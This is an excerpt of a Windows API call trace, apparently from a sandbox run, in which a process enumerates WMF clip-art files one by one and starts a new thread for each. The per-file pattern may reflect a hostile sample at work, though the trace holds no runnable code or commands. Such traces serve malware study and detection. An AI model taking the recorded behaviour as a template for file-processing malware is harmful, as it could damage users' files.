	[0238.599] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1
	[0238.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18bc
	[0238.601] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.601] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1
	[0238.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0
	[0238.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.604] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1
	[0238.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c4
	[0238.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.606] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1
	[0238.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8
	[0238.608] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.609] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1
	[0238.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc
	[0238.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.712] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1
	[0238.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d0
	[0238.715] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.715] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1
	[0238.715] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4
	[0238.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.718] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1
	[0238.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8
	[0238.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.720] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1
	[0238.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc
	[0238.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.723] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1
	[0238.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0
	[0238.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.725] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1
	[0238.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4
	[0238.727] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.728] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1
	[0238.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e8
	[0238.730] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.731] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1
	[0238.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ec
	[0238.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.733] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1
	[0238.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0
	[0238.735] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.735] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1
	[0238.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4
	[0238.738] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.738] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1
	[0238.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f8
	[0238.740] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.740] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1
	[0238.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc
	[0238.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1
	[0238.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1900
	[0238.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.778] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1
	[0238.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1904
	[0238.780] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.781] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1
	[0238.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1908
	[0238.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.784] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1
	[0238.784] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190c
	[0238.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.786] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1
	[0238.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1910
	[0238.788] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.789] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1
	[0238.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914
	[0238.791] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.791] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1
	[0238.791] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918
	[0238.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.793] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1
	[0238.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x191c
	[0238.795] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.796] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1
	[0238.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1920
	[0238.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.798] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1
	[0238.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924
	[0238.803] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
